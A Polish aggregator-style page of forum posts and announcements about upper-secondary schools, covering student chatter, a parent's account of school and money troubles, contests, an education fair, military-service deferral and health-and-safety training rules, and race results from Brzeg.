- w biegu głównym: Mariola Pasikowska, Anna Gałka, Paweł Kaczmar (Olszyna),Roman
Hujdus (Nowa Ruda), Dariusz Boratym, Henryk Ambroziewicz

Wakacje "06

masz mniee :D. Mi będzie was brakować, chociaż zabardoz was nie znałem, ale znałem ;]. Lama...Xenon jak usłysze, że wybuchła szkoła ponadgimnazjalna to chociaż będe wiedział kto to zrobił.

Jaka szkoła?

Do jakiej szkoły chodzisz obecnie? Podstawówka, gimnazjum, szkoła ponadgimnazjalna, a może już studiujesz? Pisać

paszport

Czy uczniowie polscy (szkoła ponadgimnazjalna) muszą mieć paszport na wyjazd do krajów Unii, czy wystarczy dowód osobisty (w przypadku osób pełnoletnich)?

Szkoła ponadgimnazjalna

Tu piszcie jaki profil wybraliście i do jakiej szkoły chcecie chodzic

Szkoła średnia

III gimnazjum narazie ale zastanawiam się oczywiście na szkołą ponadgimnazjalną. I zamierzam się dostać do I LO w mojej małej mieścinie. Profil humanistyczny (a jaki niby inny ).

Proszę o poradę w sprawie problemów w szkole.

Pani wizytator w odpowiedzi na mejl Angeli, zapewniła że się zajmie tą sprawą osobiscie i chce się z nią spotkać w miejscu neutralnym (poza szkołą) i jak chce to w mojej obecności. W czwartek przyjedzie Pani wizytator, więc będziemy się z Nią widzieć i rozmawiać.

Poczytałam to forum i doznałam . Przeraziły mnie posty rodziców, którzy próbowali walczyć o prawa swoich dzieci, to wygląda gorzej jak wojna w Iraku . Najczęściej takie sprawy kończą się tym, że rodzice sami przenoszą swoje dzieci do innych szkół bo nie mają już innego wyjścia. Za bardzo odbija się to wszystko na dzieciach, bo szkoły traktują to jako osobistą wendettę. Kto docieka prawdy, ten niepokój sieje.

Zamiast się uspokoić jeszcze bardziej się wystraszyłam, ale pewnie rano mi już przejdzie , choć to jedno mnie do córki upodabnia
My mieszkamy w tak małej miejscowości, że jest tylko ta jedna szkoła ponadgimnazjalna, do innych już trzeba dojeżdżać co najmniej 20 kilometrów. A to mogłoby być trudne dla Angeli i dla nas. Nasza rodzina jest w fatalnej sytuacji finansowej, jesteśmy bankrutami bo kiedyś odważyliśmy się prowadzić w tym kraju działalność gospodarczą. Bank zrobił nam okrótną krzywdę i pomimo tego, że wygraliśmy w sądzie i tak zniszczyli nas komornicy i niszczą nadal. Juz na początku marca odbędzie się licytacja naszego mieszkania (to jedyne co nam z majątku zostało), aby ugodzić się z bankiem, musielibyśmy wpłacac co miesiąc po co najmniej 500 zł. Mieliśmy okropny dylemat co robić, bo z jednej strony mieszkanie, które jest podstawą rodziny a z drugiej Angela, która rozpaczliwie potrzebuje pomocy. Jak wiecie zwyciężyła Angela, pieniądze zamiast na ugodę wydajemy na Stratterę. Może ktoś to uzna za błędny wybór, bo przecież rodzina powinna gdzieś mieszkać a bezdomni nie pomogą dziecku, ale nadal mamy nadzieję na cud a Angelika jest w tej sytuacji dla nas ważniejsza. Każde z naszych dzieci jest cudowne i dla nich warto poświęcić wszystkie dobra tego świata.

.....czy.....

kurczaczka - jest chudsze . ! xD i Ci Ryba nie pokazuje ' aa ona żyje ! ; xD haha

Szkoła Muzyczna czy Szkoła Ponadgimnazjalna?

SZKOŁA PONADGIMNAZJALNA- LICEUM, TECHNIKUM, SZKOŁA ZAWODOWA

W jakich placówkach odbyliście praktykę i czy chcecie ją polecić innym? Jak oceniacie poziom kontaktu z uczniem w tym wieku..?

Blok pedagogiczny

Do nauczania informatyki (szkoła podstawowa i gimnazjum):
PPR, SOP 121, PSY 141, NIF 221, SIN 240, PED 241, INS 340, PSI 340

Szkoła ponadgimnazjalna:
PCI 440, MEN 331, PRP 321, LAB 440

Zajrzenie do informatora nie boli

Przystąpienie do konkursu

Dzień dobry Chciałabym zapytać, czy do konkursu może przystąpić szkoła ponadgimnazjalna z miasta powyżej 70 tys. mieszkańców, do której uczęszcza młodzież z miejscowości poniżej 20tys. mieszkańców - oczywiście projekt dotyczyłby wyłacznie tej grupy uczniów

Matematyka nie kończy się w szkole

Matematyka nie kończy się w szkole

14. lipca 2008 r. poniedziałek - 1. października 2008 r. środa

MATEMATYKA NIE KOŃCZY SIĘ W SZKOLE RUSZA KONKURS PROMUJĄCY MATEMATYKĘ Aż 10 tysięcy zł czeka na zwycięzcę internetowego konkursu filmowego Matematyka nie kończy się w szkole, który rozpocznie się w poniedziałek 14 lipca. Organizatorem jest firma Zibi S.A.

„Zdajemy sobie sprawę z tego, że matematyka nie jest lubiana przez wielu uczniów. Wydaje im się abstrakcyjna i nieprzydatna w codziennym życiu. Przez konkurs chcemy to w jakimś stopniu zmienić - zaciekawić tą nauką i zachęcić młodych ludzi do znalezienia zastosowań matematyki poza szkołą" - mówi Piotr Tomczak, pomysłodawca konkursu i ekspert ds. kalkulatorów firmy Zibi S.A.

Zasady są proste - trzeba mieć tylko sporo wyobraźni, a tego przecież Polakom nie brakuje. Zadaniem jest stworzenie jak najciekawszego filmu pokazującego, że matematyka nie jest nudna i przydaje się w codziennym życiu, a nie tylko podczas nauki. Ograniczeń tematycznych nie ma, istnieje pełna dowolność. Gotowy filmik nie może być krótszy niż minuta a dłuższy niż trzy, może być za to wykonany w dowolnej technologii.

Następnie uczestnicy muszą zarejestrować się na stronie kalkulatory.pl, a potem, korzystając z tej witryny, umieścić swoją pracę w Internecie. Ta zostanie opublikowana w sieci w serwisie Youtube. Filmy można przesyłać do końca października. Po zakończeniu konkursu jury składające się z przedstawicieli organizatora oraz patronów medialnych i honorowych wybierze najlepsze z nich i wyłoni zwycięzców na których czekają atrakcyjne nagrody.

Główna nagroda to 10 tys. zł w gotówce. Na zdobywcę 2. miejsca czeka aparat fotograficzny CASIO EX-F1, dla osoby, która zajmie 3. miejsce - kalkulator graficzny CASIO ClassPad 330. Planowane jest również przyznawanie nagród tygodnia - kalkulatorów naukowych z naturalnym zapisem CASIO FX-82ES. Przewidziana jest również nagroda specjalna. Firma Zibi przekaże pakiet 15 kalkulatorów graficznych CASIO FX-9860G SLIM do wskazanej przez zwycięzcę (1. miejsce) szkoły (gimnazjum lub szkoła ponadgimnazjalna).

Patronat nad konkursem objęło Stowarzyszenie Nauczycieli Matematyki, radio „Planeta FM", portal cinema.com.pl, czasopismo „Matematyka w szkole".

GWARek

A ja bardzo lubie czytać GWAR-ka. Fajnych rzeczy można się dowiedzieć. Np. co miesiąc jest jedna szkoła ponadgimnazjalna opisana. To moim zdaniem fajna rzecz, przynajmiej dla klas III.:)

28 lat - wezwanie celem odbycia ZSW

szkoła ponadgimnazjalna, to jak na moje oko jest liceum, technikum, szkoła zawodowa itp. A nie szkoła policealna.

Dezercja

Dopóki nie będziesz miał zaświadczenia że jesteś uczniemstudentem to nie ma sensu pojawiać się w WKU. Żadne bieguśki tu nie pomogą. Zaświadcznie że jest się uczniem lub studnetem można dostać w momencie gdy nauka się rozpocznie. Skor przez tyle czasu WKU nie ma z Tobą kntakuty to kilk tygodni w tą czy w tamtą nic nie zminią.
Aby formaności stało sie za dość i WKU nie miało sie do czego przyczepić powinieneś oprócz zaświadczenia ze szkoły/uczelni złożyć jeden z tych wniosków:

Wniosek o odroczenie z.s.w. - szkoła ponadgimnazjalna --> DOWNLOAD

Wniosek o odroczenie na studia --> DOWNLOAD

Gdyby coś ściemniali (a raczje ściemniały) że nie dadzą Ci odroczenia wtedy stanowczo domagaj się pisemnej odmowy udzielenia odroczenia wraz z uzasdnieniem. Jeśli będziesz miał zaświadczeni że w tej chwili pobierasz naukę i jedne z powyżych wniosków będą musieli udzielić odrocznia. Jak coś będą motać to domagasz się odmowy i od razu zmieni im się zdanie. Według ustawy o powszechnym obowiazku obrony odmowa udzielenia odrocznia wymga formy pisemnej więc nie daj sobi wmówic ze nie musza takiej odpowiedzi udzilć. Wiek nie ma wpływu na udzielanie odroczeń.

Możesz też te papiery wysłać pocztą ale nic Ci nie zrobią jak stawisz się osobiście.
Co do ewentualnych sankcji to ja mam wrażenie że WKU jakoś specjalnie się na Ciebie nie uwzięło więc moż spraw nie zkonczy sie jakośc specjani nieprzyjemnie. Gdyby tak bardzo Cię chcieli "wsadzić do pułda" (czy to tego prawdziwego cz też tego zwanego wojskiem) to pewni już policja odwiedziłby Twój domo. Przychodziłby jakiś listy "straszaki" itp. No chyba że nie napisałeś o takich akcjach albo o nich nie wiesz. Już niekórzy na tym forum wydali na Ciebie wyrok jednak nie ma sie co przejmować. W najgorszym wypadku zakończy się to zawiasami ale to i tak lepsze niz 9 miesięcy realnej odsiadaki i robienia za tanią siłę roboczą 800 km od domu. Zapewne nie stanie się nic albo dostaniesz 1000 zł grzywny. No ale się nie zdziw jak będzie to coś gorszego bo w polsce wszystko jest możliwe.

I jak tam idzie robota ?

Drag w jakiej wy kategorii startujecie ? My szkoła ponadgimnazjalna

Fotki..;P

ja też najbardziej tesknie za gimnazjum.. ah. te czasy ;)

ale mówią ze najlepszy okres w zyciu człowieka to szkoła ponadgimnazjalna...

-.-'

VII edycja Lubuskich Targów Edukacyjnych ABSOLWENT 2009

Serdecznie zapraszamy Państwa do uczestnictwa w VII edycji Lubuskich Targów Edukacyjnych ABSOLWENT 2009, która odbędzie się w dniach 11-12 lutego 2009r. (środa-czwartek) w Zielonej Górze w hali MOSiR przy ul. Urszuli 14 oraz w dniach 4-5 marca 2009r. (środa-czwartek) w Gorzowie Wielkopolskim w Hali AWF przy ul. Słowiańskiej. Patronem Honorowym imprezy jest Lubuski Kurator Oświaty.

Targi mają na celu zapoznanie młodzieży i przyszłych studentów z ofertą edukacyjną wraz z możliwościami dalszego kształcenia i rozwoju. Swoją ofertę zaprezentuje ponad 150 wystawców:
- szkoły wyższe, politechniki, uniwersytety, akademie prezentujące programy studiów licencjackich, magisterskich, podyplomowych, kursów, szkoleń, itp.;
- szkoły policealne, pomaturalne, ośrodki i instytuty szkoleniowe;
- szkoły ponadgimnazjalne: licea, technika, szkoły zawodowe;
- szkoły językowe, ośrodki językowe, certyfikacyjne, kulturalne.
Ponadto dla osób rozpoczynających życie zawodowe, bezrobotnych i zamierzających zmienić pracę odbędą się Targi Pracy 2009. Firmy, urzędy i instytucje zaprezentują oferty pracy, staży i praktyk zawodowych.

ODWIEDZANIE TARGÓW PRZEZ MŁODZIEŻ SZKOLNĄ

Targi co roku odwiedzają tłumy młodzieży gimnazjalnej, ponadgimnazjalnej i studentów. Szeroka oferta kształcenia na różnych szczeblach zachęca do przyjścia na imprezę. Zgodnie z ustaleniami z Lubuskim Kuratorium młodzież odwiedza targi w grupach zorganizowanych z wychowawcami.
Wstęp na imprezę będzie dla wszystkich zwiedzających bezpłatny.
Targi czynne będą w godzinach od 9.00 do 16.00.

STATUETKI ABSOLWENT 2009
Tradycją targów jest przyznawanie 5 prestiżowych statuetek targowych wystawcom.
Podczas tegorocznej edycji zostaną przyznane w następujących kategoriach:
1. Szkoła wyższa
2. Szkoła policealna
3. Szkoła ponadgimnazjalna
4. Oferta pracy
5. Najciekawsze stoisko targowe ABSOLWENT 2009

KONFERENCJE I SPOTKANIA
Targom jak co roku towarzyszyć będą konferencje, seminaria i szkolenia w których wezmą udział zarówno zwiedzający jak i uczestnicy targów: przedstawiciele uczelni, pracodawcy, dyrektorzy szkół, przedstawiciele jednostek samorządu terytorialnego.

Pełna informacja o targach znajduje się na stronie internetowej: www.absolwent.targi.pl

Najlepsza szkoła ponadgimnazjalna

Mam pytanko - która szkoła według was jest najlepsza? dlaczego?
Osobiście uważam, że najlepszą szkołą jest KEN w Szczecinku
Dlaczego? "wysoki poziom i wyspecjalizowana kadra pedagogiczna" ogólnie to świetny klimat !!!

Gdzie się wybieracie do szkoły???

Gorkiego? lol to najgorsza szkoła ponadgimnazjalna w Bielsku. mam tam kumpele-> opowiada jakie tam przypały..

Test Gimnazjalny

Cytat:
Każda szkoła ponadgimnazjalna ma jakieś minima punktowe.


Wierzysz w to ?

Szkoła a dotacja... ?

Robisz sobie jaja? Była o tym wielokrotnie mowa. BEZROBOTNYM NIE MOŻE BYĆ OSOBA UCZĄCA SIĘ W SYSTEMIE DZIENNYM NIEZALEŻNIE OD TEGO CZY TO GIMNAZJUM, SZKOŁA PONADGIMNAZJALNA CZY UCZELNIA WYŻSZA!!

Szkoła ponadgimnazjalna -> i co dalej?!

Ile osob zostaje w sanoku ( po liceum)??

Jaka szkoła ponadgimnazjalna jest w Mrągowie najlepsza ?

Którą szkołę polecacie ,szczególnie pytam młodzież /poziom nauczania , kadra nauczycielska, dyrektor/

Dziękuje

Ogólniaki, raz jeszcze

Cytat: Argument "nie wszyscy muszą iść na studia" jest poniżej krytyki !!! Pewnie, że nie muszą, ale może chcą !!! Nie dyskredytuję techników bo i wśród nich są takie, które zasługują na olbrzymią chwałę jednak konia z rzędęm temu kt - z ręką na sercu - wiedział kim chce być w wieku 16 lat. To są wyjątki !!! Albo tradycje rodzinne. Najlepszą szkołą ponadgimnazjalną dla 16-latka jest ogólniak i nie ma argumentów wskazujących, że jest inaczej !!! Chcę Wam powiedzieć, że po skończeniu ogólniaka właśnie studiowałem elektronikę. Razem było oczywiście wielu absolwentów Techników Elektronicznych !!! Lepiej dawali sobie radę na tych studiach właśnie absolwenci ogólniaków. I nie jest to dziwne. Inaczej kształci się technika (trywializując - ma wiedzieć co zrobić żeby działało i jak naprawić !!!) a inaczej inżyniera (jak to zaprojektować, jaki nowy element wykonać !!!) Absolweci techników mają już pewne nawyki i umiejętności które przeszkadzają w studiach.
Tak więc cała ta dyskusja jest o tyle bez sensu, że już dawno wykazano iż szkoły ogólnokształcące są lepiej przygotowującymi do późniejszych wyborów dróg zawodowych !!!


Mam tę przewagę nad Tobą, że kończyłem bardzo dobry ogólniak, wyzsze studia na wydziale mechanicznym (mam bardzo podobne wnioski co do kolegów po technikach co Twoje!) i pare lat uczyłem w technikum. Mechanizacji Rolnictwa jakby co. Czyli optyka obu stron katedry. Trudno jest odmówic logiki w rozumowaniu, ze ogólniak lepiej przygotowuje do dalszych dróg zawodowych (odwleka m.in. w czasie moment ukierunkowania) natomiast późniejsze wybory tzw. uczelni to już dramat. Dlatego też uważam, że system kształcenia w Polsce musi byc zmieniony. Chodzi mi generalnie o żenujaco niski poziom niektórych tzw, szkół wyższych. A słowo technikum traktuj prosze jako słowo wywoławcze, możesz ten twór nazwać bumurumbum. No więc to bumburumbum mozna potrakotwać jako studia pólwyższe na bazie ogólniaka, technikum, zawodówki (po uzupełnieniu wykształcenia)
Czy słyszałeś o przedwojennej Szkole Wawelberga i Rotwanda w Warszawie? Kształciła najlepszych polskich warsztatowców. I inzynierów (na kursach inzynierskich) i techników (na kursach techników), rozrywanych później w przemyśle. Warunki przyjęcia były dość liberalne, natomiast późniejsze wymagania niebotycznie wysokie. Bo Wawlberg to zobowiązywało. Czyli nie każdy musi skończyć ogólniak i nie każdy musi skończyć studia, byc cenionym fachowcem.

Szkoła Ponadgimnazjalna

No to sie dostałem dziewczynki:D Liceum Ogólnokształcące im. Marszałka J.Piłsudskiego w Słupcy :D Jestem BOSS a jak Wy?

zielone światło dla szkolnictwa zawodowego

Cytat:No to chyba nowa szkoła ma problem

Trochę późno, bo połowa wakacji za pasem, ale wreszcie szkoła ponadgimnazjalna w Sulejówku się przebudziła i wyemitowała na stronie miasta zaproszenie dla absolwentów gimnazjów.

cos sie stanie????

od 17 lat jak ktoś się nie uczy biorą do wojska...
A szkoła ponadgimnazjalna jest nieobowiązkowa.

Szkółka piłkarska

Witam, mam pytanie czy Zagłębnie Lublin posiada szkółkę piłkarską rocznik 93. Niebawem zbliza sie szkola ponadgimnazjalna i chcialbym moze sprobowac sie dostac. Tylko nie wiem czy jest taka mozliwosc

CO PO STUDIACH BHP ? POMÓŻCIE!!! :(((

Cytat:Witam
A może jest szansa na założenie wlasnej firmy?


Kiedy możesz prowadzić własną firmę szkoleniową w dziedzinie bhp?
Czy po ukończeniu studiów podyplomowych z zakresu bhp mogę posługiwać się tytułem specjalisty ds. bhp, czy konieczne do tego jest uzyskanie jeszcze innych dodatkowych kwalifikacji? Czy po ukończeniu takich studiów mogę otworzyć firmę szkoleniowo-doradczą w dziedzinie bhp i osobiście prowadzić szkolenia bhp?

Samo ukończenie studiów podyplomowych w zakresie bhp nie uprawnia do posługiwania się tytułem specjalisty ds. bhp. Absolwent studiów podyplomowych w dziedzinie bhp może posługiwać się jedynie tytułem starszego inspektora ds. bhp.

Aby zostać specjalistą ds. bhp, należy spełnić 2 warunki, mianowicie:

ukończyć studia (posiadać wyższe wykształcenie) o kierunku lub specjalności w zakresie bhp lub studia podyplomowe bhp,
przepracować minimum 1 rok w służbie bhp.
Jednostka organizacyjna prowadząca działalność szkoleniową w dziedzinie bhp
Szkolenia bhp może prowadzić, jako zewnętrzny podmiot spoza firmy, na zlecenie pracodawcy, jedynie jednostka organizacyjna prowadząca działalność szkoleniową w dziedzinie bhp.

Taką jednostką organizacyjną może być:

placówka kształcenia ustawicznego, placówka kształcenia praktycznego, ośrodek dokształcania i doskonalenia zawodowego,
szkoła ponadgimnazjalna,
jednostka badawczo-rozwojowa, szkoła wyższa lub inna placówka naukowa,
stowarzyszenie, którego celem statutowym jest działalność związana z bhp,
osoba prawna lub fizyczna prowadząca działalność oświatową na zasadach określonych w przepisach ustawy z 2 lipca 2004 r. o swobodnie działalności gospodarczej (Dz.U. z 2007 r. nr 155, poz. 1095 z późn. zm.),
jeżeli prowadzą działalność szkoleniową w dziedzinie bhp.

Własna działalność gospodarcza
W opisanym przypadku osoba fizyczna może założyć własną działalność gospodarczą. Konieczne jest zarejestrowanie tej działalności przez wpis do ewidencji działalności gospodarczej z wpisaną w zakres działalności:

działalnością oświatową z zakresie szkoleń bhp,
działalnością doradczą w dziedzinie bhp.
Co trzeba zapewnić szkolonym?
Jeżeli osoba fizyczna będzie tworzyć jednostkę organizacyjną prowadzącą działalność szkoleniową w dziedzinie bhp, musi zapewnić:

programy poszczególnych rodzajów szkolenia opracowane dla określonych grup stanowisk,
programy szkolenia instruktorów w zakresie metod prowadzenia instruktażu – w przypadku prowadzenia takiego szkolenia,
wykładowców i instruktorów posiadających zasób wiedzy, doświadczenie zawodowe oraz przygotowanie dydaktyczne zapewniające właściwą realizację programów szkolenia,
odpowiednie warunki lokalowe do prowadzenia działalności szkoleniowej – szczególnie jeżeli szkolenia będą prowadzone poza siedzibą firmy zleceniodawcy (pracodawcy),
wyposażenie dydaktyczne niezbędne do właściwej realizacji programów szkolenia,
właściwy przebieg szkolenia oraz prowadzenie dokumentacji w postaci programów szkolenia, dzienników zajęć, protokołów przebiegu egzaminów i rejestru wydanych zaświadczeń.
Ważne
W przypadku osoby fizycznej, która tworzy jednostkę organizacyjną prowadzącą działalność szkoleniową w dziedzinie bhp, osoba ta sama będzie musiała zagwarantować wykładowców
i instruktorów posiadających zasób wiedzy, doświadczenie zawodowe oraz przygotowanie dydaktyczne zapewniające właściwą realizację programów szkolenia bhp. A tego od osoby, która posiada tytuł „starszy inspektor ds. bhp” można już oczekiwać.

Podstawa prawna

§ 4 ust. 2 pkt 2 lit. b i pkt 3 rozporządzenia Rady Ministrów z 2 września 1997 r. w sprawie służby bezpieczeństwa i higieny pracy (Dz.U. nr 109, poz. 704 z późn. zm.).
§ 1a pkt 2, § 4 ust. 1 i § 5 rozporządzenia Ministra Gospodarki i Pracy z 27 lipca 2004 r. w sprawie szkolenia w dziedzinie bezpieczeństwa i higieny pracy (Dz.U. nr 180, poz. 1860 z późn. zm.).
Kinga Grodzicka-Lisek
prawnik, specjalista z zakresu
prawa pracy i bhp

XV Memoriał Anny Lityńskiej 2008

Anna Lityńska była wieloletnią nauczycielką Zespołu Szkół Ekonomicznych w Brzegu. Jak co roku na Stadionie Miejskim odbył się memoriał Anny Lityńskiej zorganizowany przez naszą szkołę.
Dnia 01.10.2008r. o godz. 11:15 rozegrał się XV memoriał Anny Lityńskiej. Otwarcia dokonała pani Dyrektor ZSE w Brzegu Małgorzata Mianowany-Małecka i syn sławnej sportsmenki Michał Lityński. Na uroczystości obecny był również starosta Maciej Stefański, który życzył zawodnikom (uczniom szkół gimnazjalnych i ponadgimnazjalnych powiatu brzeskiego) samych sportowych sukcesów, a jako patron honorowy memoriału przypomniał sylwetkę sportsmenki.
W klasyfikacji indywidualnej zawody odbyły się w następujących kategoriach wiekowych i odpowiednio na dystansach dostosowanych do rodzaju szkoły:
1. Szkoły podstawowe:
- bieg dziewcząt 1000m i chłopców 1500m rocznik 1993-95
2. Szkoły gimnazjalne:
- bieg dziewcząt 1500m i chłopców 2000m rocznik 1996-97
3. Szkoły ponadgimnazjalne:
- bieg dziewcząt 2000m i chłopców 3000m rocznik 1989-92

Uczestnicy wg harmonogramu zawodów byli odprowadzani na linię startu przez głównego sędziego. Po każdym odbytym biegu nastąpiła dekoracja zawodników.
Uczniowie i szkoły, które uzyskały najlepsze wyniki:
Szkoła Podstawowa - Kategoria dziewcząt
Rocznik 1996 - Dystans 1000 m
Aleksandra Kaczmarek - PSP Skarbimierz Osiedle
Katarzyna Józefkiewicz - PSP Lubsza
Magdalena Kwarciany - PSP Skarbimierz Osiedle
Rocznik 1997
Aleksandra Pańkowska - PSP Olszanka
Lucyna Litwiniec - PSP Skorogoszcz
Justyna Moor - PSP Skarbimierz Osiedle
Szkoła Podstawowa - Kategoria chłopców
Rocznik 1996 - Dystans 1500 m
Wojciech Kochański - PSP nr 5 w Brzegu
Dawid Marć - PSP Olszanka
Dominik Huptyś - GSP Skarbimierz
Rocznik 1997 - Dystans 1500 m
Michał Bąbelewski - PSP Lewin Brzeski
Artur Rudnicki - ZS nr 1 z Oddziałami Sportowymi w Brzegu
Artur Gomularz - PSP Lubsza
Zestawienie drużynowe - Szkoły Podstawowe
Gminna Szkoła Podstawowa Skarbimierz Osiedle
Zespół Szkół nr 1 z Oddziałami Sportowymi
Publiczna Szkoła Podstawowa w Lubszy
Szkoła Gimnazjalna - Kategoria dziewcząta
Rocznik 1993 - Dystans 1500 m
Żaneta Kędra - PG nr 1 Brzeg
Agata Adamczyk - ZS nr 1 z Oddziałami Sportowymi w Brzegu
Jolanta Ubowska - PG Łosiów
Rocznik 1994
Malwina Badurowicz - PG nr 1 Brzeg
Katarzyna Wiecha - PG nr 1 Brzeg
Katarzyna Dawidziak - PG nr 3 Brzeg
Rocznik 1995
Paulina Józefkiewicz - PG Kościerzyce
Patrycja Inglot - PG Skorogoszcz
Paulina Szymula - PG nr 1 Brzeg
Rocznik 1993 - Kategoria chłopców
Patryk Kotyński - ZS nr 1 z Oddziałami Sportowymi w Brzegu
Marcin Romanowicz - PG Olszanka
Tomasz Kasprzycki - PG Olszanka
Rocznik 1994
Bartosz Niemiec - PG Lewin Brzeski
Bartosz Tałajczyk - PG Skorogoszcz
Wojciech Tymków - PG nr 1 Brzeg
Rocznik 1995
Piotr Pączek - PG nr 3 Brzeg
Wojciech Gabruk - PG nr 1 Brzeg
Maksymilian Węgłowski - PG Olszanka
Zestawienie drużynowe Szkoły Gimnazjalne
Publiczne Gimnazjum nr 1 w Brzegu
Publiczne Gimnazjum nr 3 w Brzegu
Zespół Szkół nr 1 z Oddziałami Sportowymi w Brzegu
Szkoła Ponadgimnazjalna - Kategoria dziewcząt
Rocznik 1990/89 - Dystans 2000 m
Małgorzata Smarduch - LO Grodków
Marta Guła - I LO Brzeg
Marlena Trepka - ZSE Brzeg
Rocznik 1991
Anna Muszak - ZSE Brzeg
Martyna Kusa - ZSE Brzeg
Patrycja Kiefer - ZSE Brzeg
Rocznik 1992
4. Emilia Wejs - ZSB Brzeg
5. Żaneta Sobota - ZSE Brzeg
6. Katarzyna Zambrzycka - ZSB Brzeg
Kategoria chłopców - Dystans 3000 m
Rocznik 1990/89
Łukasz Pańkowski - ZSB Brzeg
Mateusz Płatek - ZSE Brzeg
Andrzej Sawicki - LO Grodków
Rocznik 1991
Adam Kopij - ZSE Brzeg
Mateusz Sinkowski - ZSB Brzeg
Michał Chołoniewski - II LO Brzeg
Rocznik 1992
Seweryn Kołodziej - ZSB Brzeg
Tomasz Kubiak - II LO Brzeg
Mariusz Burnat - ZSB Brzeg
Zestawienie drużynowe Szkoły Ponadgimnazjalne
Zespół Szkół Budowlanych w Brzegu
Zespół Szkół Ekonomicznych w Brzegu
Liceum Ogólnokształcące w Grodkowie

Nagrodami w Memoriale były medale i dyplomy za I – III m-ce klasyfikacji indywidualnej, puchar i dyplom za miejsce I- III w klasyfikacji drużynowej oraz nagrody rzeczowe dla zwycięzcy biegów.
Uroczystość uświetnił występ szkolnego zespołu „BendBoys” przygotowany przez chłopców z klasy 2ATE i 2TH.
Mimo nieprzyjemnej aury zawody zostały przeprowadzone w doskonałej atmosferze.
Uroczyste zakończenie odbyło się o godz. 14:30. Celem Memoriału było uczczenie pamięci Anny Lityńskiej, popularyzacja i upowszechnianie biegania jako najprostszej formy aktywności ruchowej, rozbudowanie wśród dzieci i młodzieży chęci do czynnego spędzania czasu.

„W życiu bowiem istnieją rzeczy, o które warto walczyć do samego końca”

Anna Rudyk kl. 2ALP

W Polsce bije serce świata

Ogólnopolski Konkurs dla Dzieci i Młodzieży Szkolnej
„W Polsce bije serce świata” /N. Davies/ - a czy Twoje serce bije dla Polski?(druga edycja)

Organizatorem Konkursu jest Ministerstwo Edukacji Narodowej we współpracy z kuratoriami oświaty i ośrodkami metodycznymi.

I. Celem Konkursu jest:

zainteresowanie wiedzą pozwalającą na zachowanie pamięci historycznej,

zainteresowanie dziedzictwem kulturowym, językiem, kulturą literacką i artystyczną, religią, tradycją i obyczajami, wartościami moralno-społecznymi oraz ich znaczeniem w życiu narodu i państwa,

kształtowanie wewnętrznej potrzeby poznania istoty wartości narodu, ojczyzny, patriotyzmu, państwa, pokoju,

uświadomienie i zrozumienie roli wartości narodowo-patriotycznych w życiu człowieka, grup i wspólnot społecznych oraz ich akceptacji,

włączenie wartości narodowo-patriotycznych we własną hierarchię wartości, wyznaczając im znaczące miejsce,

kształtowanie cech osobowościowych decydujących o charakterze narodowym,

promowanie postaw aktywnych, twórczych, zaangażowanych wobec wartości narodowo-patriotycznych.

II. Uczestnicy:

uczniowie wszystkich typów szkół,

uczestnicy zajęć w placówkach wychowania pozaszkolnego, domach kultury, klubach, itp.,

uczestnicy zajęć pozalekcyjnych.

III. Tematyka Konkursu winna koncentrować się wokół hasła „W Polsce bije serce świata? /N. Davies/ - a czy Twoje serce bije dla Polski?

IV. Warunki uczestnictwa:

1) zgłoszenie do Konkursu:

pracy w formie literackiej wykonanej przez ucznia – poezja (do pięciu utworów), esej, wspomnienie, reportaż, felieton, opowiadanie, rozprawka, itp. (do dziesięciu stron maszynopisu);

pracy w formie plastycznej wykonanej przez ucznia – malarstwo, rysunek, grafika, formy przestrzenne, techniki charakterystyczne w regionach etnograficznych (wymiary prac dowolne, górna granica prac malarskich 70x100 cm); do pracy należy dołączyć&middot; informację zawierającą intencję twórczą i jej związek z hasłem Konkursu;

pracy w formie pisemnej przedstawionej przez szkołę, placówkę oświatowo-wychowawczą, grupę uczniów, koło (zespół) zainteresowań, samorząd uczniowski, itp. – relacja, opis przedsięwzięcia, inicjatywy, programu, scenariusza imprezy itp. zrealizowanej w szkole (placówce), w środowisku;

2) do każdej pracy należy dołączyć kartę informacyjną zawierającą następujące dane:

imię i nazwisko autora, wiek autora, adres szkoły z kodem i telefonem, województwo, imię i nazwisko nauczyciela (innych osób) pod kierunkiem którego praca została wykonana lub zaznaczyć&middot; , że została wykonana samodzielnie, nazwę województwa (dotyczy prac indywidualnych);

nazwę szkoły (placówki, koła zainteresowań, itp.), adres z kodem i telefonem, województwo (dotyczy opisu przedsięwzięcia);

3) komisje poszczególnych etapów dokonują oceny zgłoszonych prac i przekazują po trzy zestawy, w każdym do 10 najlepszych prac na adres organizatora wyższego etapu; do etapu ogólnopolskiego:

zestaw indywidualnych prac literackich do 10 w każdej grupie uczniów (szkoła podstawowa, gimnazjum, szkoła ponadgimnazjalna) – łącznie do 30 prac,

zestaw indywidualnych prac plastycznych do 10 w każdej grupie uczniów (szkoła podstawowa, gimnazjum, szkoła ponadgimnazjalna) – łącznie do 30 prac,

zestaw prac (relacja, opis przedsięwzięcia, itp.) do 10 z każdego etapu edukacyjnego (szkoła podstawowa, gimnazjum, szkoła ponadgimnazjalna) – łącznie do 30 prac.

4) prace będą oceniane i nagradzane z zachowaniem podziału na grupy wiekowe związane z etapami edukacyjnymi: szkoła podstawowa, gimnazjum, szkoła ponadgimnazjalna;

5) prace nadesłane do etapu ogólnopolskiego nie będą zwracane.

V. Terminy:

1) etap pierwszy – w szkole – należy, zakończyć i przesłać wybrane prace w terminie do 15 lutego 2008 r. do właściwego kuratorium oświaty;

2) etap drugi – wojewódzki – należy zakończyć i przesłać wybrane prace w terminie do 14 marca 2008 r. na adres: Mazowieckie Kuratorium Oświaty, 00-950 Warszawa, Al. Jerozolimskie 32, z dopiskiem „W Polsce bije serce świata”; do prac należy dołączyć zestawienie rekomendowanych przez kuratorium oświaty prac zawierające: imię i nazwisko autora, nazwę szkoły/placówki, z podziałem na grupy wiekowe i formy (ad. III 1);

3) etap trzeci – ogólnopolski – odbędzie się w maju/czerwcu 2008 r. w Warszawie.

VI. Nagrody:

1) organizatorzy poszczególnych etapów Konkursu przyznają nagrody z własnych środków oraz podejmą działania w celu zjednania fundatorów;

2) przewiduje się przyznanie dyplomów i nagród indywidualnych i dla szkoły (placówki);

3) część prac nagrodzonych będzie publikowana.

Źródło: Ministerstwo Edukacji Narodowej

własna działalność?

Kiedy możesz prowadzić własną firmę szkoleniową w dziedzinie bhp?
